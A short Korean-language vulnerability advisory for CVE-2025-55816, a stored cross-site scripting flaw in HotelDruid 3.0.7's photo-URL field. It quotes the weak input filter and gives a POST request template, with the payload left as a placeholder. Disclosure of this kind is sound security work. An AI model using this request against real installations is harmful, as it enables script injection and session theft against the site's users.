
CVE-2025-55816 HotelDruid 3.0.7
CVE-2025-55816 HotelDruid 3.0.7
이 취약점은 /modifica_app.php 엔드포인트에서 발생하는 간단한 저장형 크로스 사이트 스크립팅 (Stored XSS)입니다.
공격자는 보안 조치 부재로 인해 '새 사진 URL (New Photo Url)' 기능에서 URL로 위장한 자바스크립트 페이로드를 삽입할 수 있습니다.
취약한 코드는 HotelDruid <= 3.0.7의 www\modifica_app.php 파일에 있으며 다음과 같습니다:
if (!empty($aggurlfoto)) {
$mostra_form_modifica = "NO";
$dest = "#aggfoto";
$errore = "";
if (@get_magic_quotes_gpc()) {
$n_urlfoto = stripslashes($n_urlfoto);
}
$lowurl = strtolower($n_urlfoto);
if (
substr($lowurl, -4) != ".jpg" &&
substr($lowurl, -5) != ".jpeg" &&
substr($lowurl, -4) != ".gif" &&
substr($lowurl, -4) != ".png" &&
substr($lowurl, -5) != ".webp"
) {
$errore = "SI";
}
if (
str_replace("<", "", $n_urlfoto) != $n_urlfoto ||
str_replace(">", "", $n_urlfoto) != $n_urlfoto ||
str_replace("\"", "", $n_urlfoto) != $n_urlfoto
) {
$errore = "SI";
}
이 취약점은 추가적인 악용으로 이어질 수 있습니다. 약간의 코드 분석과 페이로드 개발에 대한 내용은 블로그 게시물에서 확인할 수 있습니다.
다음 POST 요청을 사용하여 페이로드를 제출할 수 있습니다:
POST /modifica_app.php HTTP/1.1
Host: 127.0.0.1:57146
....
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Length: 1121
....
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="anno"
[year]
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="id_sessione"
[sessionid]
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="idappartamenti"
[apartmentid]
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="aggurlfoto"
SI
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d
Content-Disposition: form-data; name="n_urlfoto"
[payload]
------geckoformboundaryae028810ee8a343ef5708f8da08a7d1d--